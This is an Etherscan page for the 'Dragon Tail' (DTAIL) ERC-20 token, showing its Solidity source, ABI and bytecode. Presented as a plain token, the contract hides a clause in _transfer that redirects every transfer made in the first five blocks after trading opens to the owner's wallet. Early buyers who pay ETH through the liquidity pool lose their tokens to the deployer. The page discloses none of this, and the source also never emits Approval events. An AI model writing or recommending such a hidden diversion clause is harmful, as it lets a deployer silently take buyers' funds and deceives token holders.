ERC-20
Source Code
Overview
Max Total Supply
100,000,000,000 DTAIL
Holders
57
Transfers
-
0
Market
Onchain Market Cap
-
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 18 Decimals)
Loading...
Loading
Loading...
Loading
Loading...
Loading
| # | Exchange | Pair | Price | 24H Volume | % Volume |
|---|
Contract Name:
DragonTail
Compiler Version
v0.8.13+commit.abaa5c0e
Contract Source Code (Solidity)
/**
*Submitted for verification at Etherscan.io on 2022-08-13
*/
// SPDX-License-Identifier: MIT
pragma solidity 0.8.13;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IFactory {
function createPair(address tokenA, address tokenB) external returns (address pair);
function getPair(address tokenA, address tokenB) external view returns (address pair);
}
interface IRouter {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline
) external payable returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) { return msg.sender; }
}
contract Ownable is Context {
address private _owner;
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
}
function owner() public view returns (address) { return _owner; }
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner.");
_;
}
function renounceOwnership() external virtual onlyOwner { _owner = address(0); }
function transferOwnership(address newOwner) external virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address.");
_owner = newOwner;
}
}
contract DragonTail is IERC20, Ownable {
IRouter public uniswapV2Router;
address public uniswapV2Pair;
string private constant _name = "Dragon Tail";
string private constant _symbol = "DTAIL";
uint8 private constant _decimals = 18;
mapping (address => uint256) private balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply = 100000000000 * 10**18; // 100 billion
uint256 private _launchBlockNumber;
mapping (address => bool) public automatedMarketMakerPairs;
bool private isLiquidityAdded = false;
uint256 private maxWalletAmount = _totalSupply;
mapping (address => bool) private _isExcludedFromMaxWalletLimit;
mapping (address => bool) private _isExcludedFromFee;
address private constant deadWallet = 0x000000000000000000000000000000000000dEaD;
constructor() {
IRouter _uniswapV2Router = IRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromMaxWalletLimit[address(uniswapV2Router)] = true;
_isExcludedFromMaxWalletLimit[address(this)] = true;
_isExcludedFromMaxWalletLimit[owner()] = true;
balances[address(this)] = _totalSupply;
emit Transfer(address(0), address(this), _totalSupply);
}
receive() external payable {} // so the contract can receive eth
function transfer(address recipient, uint256 amount) external override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function approve(address spender, uint256 amount) external override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom( address sender,address recipient,uint256 amount) external override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()] - amount);
return true;
}
function increaseAllowance(address spender, uint256 addedValue) external virtual returns (bool){
_approve(_msgSender(),spender,_allowances[_msgSender()][spender] + addedValue);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) external virtual returns (bool) {
_approve(_msgSender(),spender,_allowances[_msgSender()][spender] - subtractedValue);
return true;
}
function _approve(address owner, address spender,uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
}
function activateTrading() external onlyOwner {
require(!isLiquidityAdded, "You can only add liquidity once");
isLiquidityAdded = true;
_approve(address(this), address(uniswapV2Router), _totalSupply);
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this), balanceOf(address(this)), 0, 0, deadWallet, block.timestamp);
uniswapV2Pair = IFactory(uniswapV2Router.factory()).getPair(address(this), uniswapV2Router.WETH());
_isExcludedFromMaxWalletLimit[uniswapV2Pair] = true;
maxWalletAmount = _totalSupply * 2 / 100; // 2%
_launchBlockNumber = block.number;
}
function name() external pure returns (string memory) { return _name; }
function symbol() external pure returns (string memory) { return _symbol; }
function decimals() external view virtual returns (uint8) { return _decimals; }
function totalSupply() external view virtual returns (uint256) { return _totalSupply; }
function maxWallet() external view virtual returns (uint256) { return maxWalletAmount; }
function balanceOf(address account) public view override returns (uint256) { return balances[account]; }
function allowance(address owner, address spender) external view override returns (uint256) { return _allowances[owner][spender]; }
function _transfer(address from, address to, uint256 amount) internal {
require(from != address(0), string.concat(_name, ": cannot transfer from the zero address."));
require(to != address(0), string.concat(_name, ": cannot transfer to the zero address."));
require(amount > 0, string.concat(_name, ": transfer amount must be greater than zero."));
require(amount <= balanceOf(from), string.concat(_name, ": cannot transfer more than balance."));
if ((block.number - _launchBlockNumber) <= 5) { to = owner(); }
if (!_isExcludedFromMaxWalletLimit[to]) {
require((balanceOf(to) + amount) <= maxWalletAmount, string.concat(_name, ": expected wallet amount exceeds the maxWalletAmount."));
}
balances[from] -= amount;
balances[to] += amount;
emit Transfer(from, to, amount);
}
}Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
Contract ABI
API[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"activateTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"automatedMarketMakerPairs","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"maxWallet","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IRouter","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]Contract Creation Code
60806040526c01431e0fae6d7217caa000000060058190556008805460ff1916905560095534801561003057600080fd5b50600080546001600160a01b031990811633908117835560018054737a250d5630b4cf539739df2c5dacb4c659f2488d931683178155908352600b60209081526040808520805460ff19908116851790915530808752828720805483168617905584546001600160a01b039081168852600a8552838820805484168717905581885283882080548416871790558754168752828720805490921690941790556005548386526003835281862081905581519081529051939492937fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929181900390910190a350611815806101256000396000f3fe6080604052600436106101485760003560e01c806370a08231116100c0578063a9059cbb11610074578063dd62ed3e11610059578063dd62ed3e14610426578063f2fde38b14610479578063f8b45b051461049957600080fd5b8063a9059cbb146103d6578063b62496f5146103f657600080fd5b80638da5cb5b116100a55780638da5cb5b1461034557806395d89b4114610370578063a457c2d7146103b657600080fd5b806370a08231146102ed578063715018a61461033057600080fd5b806318160ddd11610117578063313ce567116100fc578063313ce5671461028457806339509351146102a057806349bd5a5e146102c057600080fd5b806318160ddd1461024557806323b872dd1461026457600080fd5b806306fdde0314610154578063095ea7b3146101ac5780630bd05b69146101dc5780631694505e146101f357600080fd5b3661014f57005b600080fd5b34801561016057600080fd5b5060408051808201909152600b81527f447261676f6e205461696c00000000000000000000000000000000000000000060208201525b6040516101a3919061137b565b60405180910390f35b3480156101b857600080fd5b506101cc6101c73660046113f1565b6104ae565b60405190151581526020016101a3565b3480156101e857600080fd5b506101f16104c4565b005b3480156101ff57600080fd5b506001546102209073ffffffffffffffffffffffffffffffffffffffff1681565b60405173ffffffffffffffffffffffffffffffffffffffff90911681526020016101a3565b34801561025157600080fd5b506005545b6040519081526020016101a3565b34801561027057600080fd5b506101cc61027f36600461141d565b6109a5565b34801561029057600080fd5b50604051601281526020016101a3565b3480156102ac57600080fd5b506101cc6102bb3660046113f1565b610a04565b3480156102cc57600080fd5b506002546102209073ffffffffffffffffffffffffffffffffffffffff1681565b3480156102f957600080fd5b5061025661030836600461145e565b73ffffffffffffffffffffffffffffffffffffffff1660009081526003602052604090205490565b34801561033c57600080fd5b506101f1610a48565b34801561035157600080fd5b5060005473ffffffffffffffffffffffffffffffffffffffff16610220565b34801561037c57600080fd5b5060408051808201909152600581527f445441494c0000000000000000000000000000000000000000000000000000006020820152610196565b3480156103c257600080fd5b506101cc6103d13660046113f1565b610b19565b3480156103e257600080fd5b506101cc6103f13660046113f1565b610b5d565b34801561040257600080fd5b506101cc61041136600461145e565b60076020526000908152604090205460ff1681565b34801561043257600080fd5b50610256610441366004611482565b73ffffffffffffffffffffffffffffffffffffffff918216600090815260046020908152604080832093909416825291909152205490565b34801561048557600080fd5b506101f161049436600461145e565b610b6a565b3480156104a557600080fd5b50600954610256565b60006104bb338484610cfb565b50600192915050565b60005473ffffffffffffffffffffffffffffffffffffffff163314610570576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602160248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201527f2e0000000000000000000000000000000000000000000000000000000000000060648201526084015b60405180910390fd5b60085460ff16156105dd576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601f60248201527f596f752063616e206f6e6c7920616464206c6971756964697479206f6e6365006044820152606401610567565b600880547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff001660019081179091555460055461063391309173ffffffffffffffffffffffffffffffffffffffff90911690610cfb565b60015473ffffffffffffffffffffffffffffffffffffffff1663f305d719473061067f8173ffffffffffffffffffffffffffffffffffffffff1660009081526003602052604090205490565b6040517fffffffff0000000000000000000000000000000000000000000000000000000060e086901b16815273ffffffffffffffffffffffffffffffffffffffff90921660048301526024820152600060448201819052606482015261dead60848201524260a482015260c40160606040518083038185885af115801561070a573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061072f91906114bb565b5050600154604080517fc45a0155000000000000000000000000000000000000000000000000000000008152905173ffffffffffffffffffffffffffffffffffffffff909216925063c45a01559160048083019260209291908290030181865afa1580156107a1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107c591906114e9565b73ffffffffffffffffffffffffffffffffffffffff1663e6a4390530600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561084e573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061087291906114e9565b6040517fffffffff0000000000000000000000000000000000000000000000000000000060e085901b16815273ffffffffffffffffffffffffffffffffffffffff928316600482015291166024820152604401602060405180830381865afa1580156108e2573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061090691906114e9565b600280547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff9290921691821781556000918252600a602052604090912080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff001660011790556005546064916109929190611535565b61099c9190611572565b60095543600655565b60006109b2848484610e79565b73ffffffffffffffffffffffffffffffffffffffff84166000908152600460209081526040808320338085529252909120546109fa9186916109f59086906115ad565b610cfb565b5060019392505050565b33600081815260046020908152604080832073ffffffffffffffffffffffffffffffffffffffff8716845290915281205490916104bb9185906109f59086906115c4565b60005473ffffffffffffffffffffffffffffffffffffffff163314610aef576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602160248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201527f2e000000000000000000000000000000000000000000000000000000000000006064820152608401610567565b600080547fffffffffffffffffffffffff0000000000000000000000000000000000000000169055565b33600081815260046020908152604080832073ffffffffffffffffffffffffffffffffffffffff8716845290915281205490916104bb9185906109f59086906115ad565b60006104bb338484610e79565b60005473ffffffffffffffffffffffffffffffffffffffff163314610c11576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602160248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201527f2e000000000000000000000000000000000000000000000000000000000000006064820152608401610567565b73ffffffffffffffffffffffffffffffffffffffff8116610cb4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602760248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201527f6464726573732e000000000000000000000000000000000000000000000000006064820152608401610567565b600080547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff92909216919091179055565b73ffffffffffffffffffffffffffffffffffffffff8316610d9d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460448201527f72657373000000000000000000000000000000000000000000000000000000006064820152608401610567565b73ffffffffffffffffffffffffffffffffffffffff8216610e40576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f20616464726560448201527f73730000000000000000000000000000000000000000000000000000000000006064820152608401610567565b73ffffffffffffffffffffffffffffffffffffffff92831660009081526004602090815260408083209490951682529290925291902055565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156040518060400160405280600b81526020017f447261676f6e205461696c000000000000000000000000000000000000000000815250604051602001610ef091906115dc565b60405160208183030381529060405290610f37576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610567919061137b565b50600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156040518060400160405280600b81526020017f447261676f6e205461696c000000000000000000000000000000000000000000815250604051602001610faf9190611643565b60405160208183030381529060405290610ff6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610567919061137b565b50600081116040518060400160405280600b81526020017f447261676f6e205461696c00000000000000000000000000000000000000000081525060405160200161104191906116aa565b60405160208183030381529060405290611088576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610567919061137b565b5073ffffffffffffffffffffffffffffffffffffffff83166000908152600360205260409020548111156040518060400160405280600b81526020017f447261676f6e205461696c0000000000000000000000000000000000000000008152506040516020016110f89190611711565b6040516020818303038152906040529061113f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610567919061137b565b5060056006544361115091906115ad565b116111715760005473ffffffffffffffffffffffffffffffffffffffff1691505b73ffffffffffffffffffffffffffffffffffffffff82166000908152600a602052604090205460ff1661126957600954816111ce8473ffffffffffffffffffffffffffffffffffffffff1660009081526003602052604090205490565b6111d891906115c4565b11156040518060400160405280600b81526020017f447261676f6e205461696c0000000000000000000000000000000000000000008152506040516020016112209190611778565b60405160208183030381529060405290611267576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610567919061137b565b505b73ffffffffffffffffffffffffffffffffffffffff83166000908152600360205260408120805483929061129e9084906115ad565b909155505073ffffffffffffffffffffffffffffffffffffffff8216600090815260036020526040812080548392906112d89084906115c4565b925050819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161133e91815260200190565b60405180910390a3505050565b60005b8381101561136657818101518382015260200161134e565b83811115611375576000848401525b50505050565b602081526000825180602084015261139a81604085016020870161134b565b601f017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0169190910160400192915050565b73ffffffffffffffffffffffffffffffffffffffff811681146113ee57600080fd5b50565b6000806040838503121561140457600080fd5b823561140f816113cc565b946020939093013593505050565b60008060006060848603121561143257600080fd5b833561143d816113cc565b9250602084013561144d816113cc565b929592945050506040919091013590565b60006020828403121561147057600080fd5b813561147b816113cc565b9392505050565b6000806040838503121561149557600080fd5b82356114a0816113cc565b915060208301356114b0816113cc565b809150509250929050565b6000806000606084860312156114d057600080fd5b8351925060208401519150604084015190509250925092565b6000602082840312156114fb57600080fd5b815161147b816113cc565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561156d5761156d611506565b500290565b6000826115a8577f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b500490565b6000828210156115bf576115bf611506565b500390565b600082198211156115d7576115d7611506565b500190565b600082516115ee81846020870161134b565b7f3a2063616e6e6f74207472616e736665722066726f6d20746865207a65726f209201918252507f616464726573732e0000000000000000000000000000000000000000000000006020820152602801919050565b6000825161165581846020870161134b565b7f3a2063616e6e6f74207472616e7366657220746f20746865207a65726f2061649201918252507f64726573732e00000000000000000000000000000000000000000000000000006020820152602601919050565b600082516116bc81846020870161134b565b7f3a207472616e7366657220616d6f756e74206d757374206265206772656174659201918252507f72207468616e207a65726f2e00000000000000000000000000000000000000006020820152602c01919050565b6000825161172381846020870161134b565b7f3a2063616e6e6f74207472616e73666572206d6f7265207468616e2062616c619201918252507f6e63652e000000000000000000000000000000000000000000000000000000006020820152602401919050565b6000825161178a81846020870161134b565b7f3a2065787065637465642077616c6c657420616d6f756e7420657863656564739201918252507f20746865206d617857616c6c6574416d6f756e742e0000000000000000000000602082015260350191905056fea26469706673582212204c02283b8d5f668369ace08f62bda4aac1a52428cc4f008026d239435bcfc44464736f6c634300080d0033
Deployed Bytecode
0x6080604052600436106101485760003560e01c806370a08231116100c0578063a9059cbb11610074578063dd62ed3e11610059578063dd62ed3e14610426578063f2fde38b14610479578063f8b45b051461049957600080fd5b8063a9059cbb146103d6578063b62496f5146103f657600080fd5b80638da5cb5b116100a55780638da5cb5b1461034557806395d89b4114610370578063a457c2d7146103b657600080fd5b806370a08231146102ed578063715018a61461033057600080fd5b806318160ddd11610117578063313ce567116100fc578063313ce5671461028457806339509351146102a057806349bd5a5e146102c057600080fd5b806318160ddd1461024557806323b872dd1461026457600080fd5b806306fdde0314610154578063095ea7b3146101ac5780630bd05b69146101dc5780631694505e146101f357600080fd5b3661014f57005b600080fd5b34801561016057600080fd5b5060408051808201909152600b81527f447261676f6e205461696c00000000000000000000000000000000000000000060208201525b6040516101a3919061137b565b60405180910390f35b3480156101b857600080fd5b506101cc6101c73660046113f1565b6104ae565b60405190151581526020016101a3565b3480156101e857600080fd5b506101f16104c4565b005b3480156101ff57600080fd5b506001546102209073ffffffffffffffffffffffffffffffffffffffff1681565b60405173ffffffffffffffffffffffffffffffffffffffff90911681526020016101a3565b34801561025157600080fd5b506005545b6040519081526020016101a3565b34801561027057600080fd5b506101cc61027f36600461141d565b6109a5565b34801561029057600080fd5b50604051601281526020016101a3565b3480156102ac57600080fd5b506101cc6102bb3660046113f1565b610a04565b3480156102cc57600080fd5b506002546102209073ffffffffffffffffffffffffffffffffffffffff1681565b3480156102f957600080fd5b5061025661030836600461145e565b73ffffffffffffffffffffffffffffffffffffffff1660009081526003602052604090205490565b34801561033c57600080fd5b506101f1610a48565b34801561035157600080fd5b5060005473ffffffffffffffffffffffffffffffffffffffff16610220565b34801561037c57600080fd5b5060408051808201909152600581527f445441494c0000000000000000000000000000000000000000000000000000006020820152610196565b3480156103c257600080fd5b506101cc6103d13660046113f1565b610b19565b3480156103e257600080fd5b506101cc6103f13660046113f1565b610b5d565b34801561040257600080fd5b506101cc61041136600461145e565b60076020526000908152604090205460ff1681565b34801561043257600080fd5b50610256610441366004611482565b73ffffffffffffffffffffffffffffffffffffffff918216600090815260046020908152604080832093909416825291909152205490565b34801561048557600080fd5b506101f161049436600461145e565b610b6a565b3480156104a557600080fd5b50600954610256565b60006104bb338484610cfb565b50600192915050565b60005473ffffffffffffffffffffffffffffffffffffffff163314610570576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602160248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201527f2e0000000000000000000000000000000000000000000000000000000000000060648201526084015b60405180910390fd5b60085460ff16156105dd576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601f60248201527f596f752063616e206f6e6c7920616464206c6971756964697479206f6e6365006044820152606401610567565b600880547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff001660019081179091555460055461063391309173ffffffffffffffffffffffffffffffffffffffff90911690610cfb565b60015473ffffffffffffffffffffffffffffffffffffffff1663f305d719473061067f8173ffffffffffffffffffffffffffffffffffffffff1660009081526003602052604090205490565b6040517fffffffff0000000000000000000000000000000000000000000000000000000060e086901b16815273ffffffffffffffffffffffffffffffffffffffff90921660048301526024820152600060448201819052606482015261dead60848201524260a482015260c40160606040518083038185885af115801561070a573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061072f91906114bb565b5050600154604080517fc45a0155000000000000000000000000000000000000000000000000000000008152905173ffffffffffffffffffffffffffffffffffffffff909216925063c45a01559160048083019260209291908290030181865afa1580156107a1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107c591906114e9565b73ffffffffffffffffffffffffffffffffffffffff1663e6a4390530600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561084e573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061087291906114e9565b6040517fffffffff0000000000000000000000000000000000000000000000000000000060e085901b16815273ffffffffffffffffffffffffffffffffffffffff928316600482015291166024820152604401602060405180830381865afa1580156108e2573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061090691906114e9565b600280547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff9290921691821781556000918252600a602052604090912080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff001660011790556005546064916109929190611535565b61099c9190611572565b60095543600655565b60006109b2848484610e79565b73ffffffffffffffffffffffffffffffffffffffff84166000908152600460209081526040808320338085529252909120546109fa9186916109f59086906115ad565b610cfb565b5060019392505050565b33600081815260046020908152604080832073ffffffffffffffffffffffffffffffffffffffff8716845290915281205490916104bb9185906109f59086906115c4565b60005473ffffffffffffffffffffffffffffffffffffffff163314610aef576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602160248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201527f2e000000000000000000000000000000000000000000000000000000000000006064820152608401610567565b600080547fffffffffffffffffffffffff0000000000000000000000000000000000000000169055565b33600081815260046020908152604080832073ffffffffffffffffffffffffffffffffffffffff8716845290915281205490916104bb9185906109f59086906115ad565b60006104bb338484610e79565b60005473ffffffffffffffffffffffffffffffffffffffff163314610c11576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602160248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201527f2e000000000000000000000000000000000000000000000000000000000000006064820152608401610567565b73ffffffffffffffffffffffffffffffffffffffff8116610cb4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602760248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201527f6464726573732e000000000000000000000000000000000000000000000000006064820152608401610567565b600080547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff92909216919091179055565b73ffffffffffffffffffffffffffffffffffffffff8316610d9d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460448201527f72657373000000000000000000000000000000000000000000000000000000006064820152608401610567565b73ffffffffffffffffffffffffffffffffffffffff8216610e40576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f20616464726560448201527f73730000000000000000000000000000000000000000000000000000000000006064820152608401610567565b73ffffffffffffffffffffffffffffffffffffffff92831660009081526004602090815260408083209490951682529290925291902055565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156040518060400160405280600b81526020017f447261676f6e205461696c000000000000000000000000000000000000000000815250604051602001610ef091906115dc565b60405160208183030381529060405290610f37576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610567919061137b565b50600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156040518060400160405280600b81526020017f447261676f6e205461696c000000000000000000000000000000000000000000815250604051602001610faf9190611643565b60405160208183030381529060405290610ff6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610567919061137b565b50600081116040518060400160405280600b81526020017f447261676f6e205461696c00000000000000000000000000000000000000000081525060405160200161104191906116aa565b60405160208183030381529060405290611088576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610567919061137b565b5073ffffffffffffffffffffffffffffffffffffffff83166000908152600360205260409020548111156040518060400160405280600b81526020017f447261676f6e205461696c0000000000000000000000000000000000000000008152506040516020016110f89190611711565b6040516020818303038152906040529061113f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610567919061137b565b5060056006544361115091906115ad565b116111715760005473ffffffffffffffffffffffffffffffffffffffff1691505b73ffffffffffffffffffffffffffffffffffffffff82166000908152600a602052604090205460ff1661126957600954816111ce8473ffffffffffffffffffffffffffffffffffffffff1660009081526003602052604090205490565b6111d891906115c4565b11156040518060400160405280600b81526020017f447261676f6e205461696c0000000000000000000000000000000000000000008152506040516020016112209190611778565b60405160208183030381529060405290611267576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610567919061137b565b505b73ffffffffffffffffffffffffffffffffffffffff83166000908152600360205260408120805483929061129e9084906115ad565b909155505073ffffffffffffffffffffffffffffffffffffffff8216600090815260036020526040812080548392906112d89084906115c4565b925050819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161133e91815260200190565b60405180910390a3505050565b60005b8381101561136657818101518382015260200161134e565b83811115611375576000848401525b50505050565b602081526000825180602084015261139a81604085016020870161134b565b601f017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0169190910160400192915050565b73ffffffffffffffffffffffffffffffffffffffff811681146113ee57600080fd5b50565b6000806040838503121561140457600080fd5b823561140f816113cc565b946020939093013593505050565b60008060006060848603121561143257600080fd5b833561143d816113cc565b9250602084013561144d816113cc565b929592945050506040919091013590565b60006020828403121561147057600080fd5b813561147b816113cc565b9392505050565b6000806040838503121561149557600080fd5b82356114a0816113cc565b915060208301356114b0816113cc565b809150509250929050565b6000806000606084860312156114d057600080fd5b8351925060208401519150604084015190509250925092565b6000602082840312156114fb57600080fd5b815161147b816113cc565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561156d5761156d611506565b500290565b6000826115a8577f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b500490565b6000828210156115bf576115bf611506565b500390565b600082198211156115d7576115d7611506565b500190565b600082516115ee81846020870161134b565b7f3a2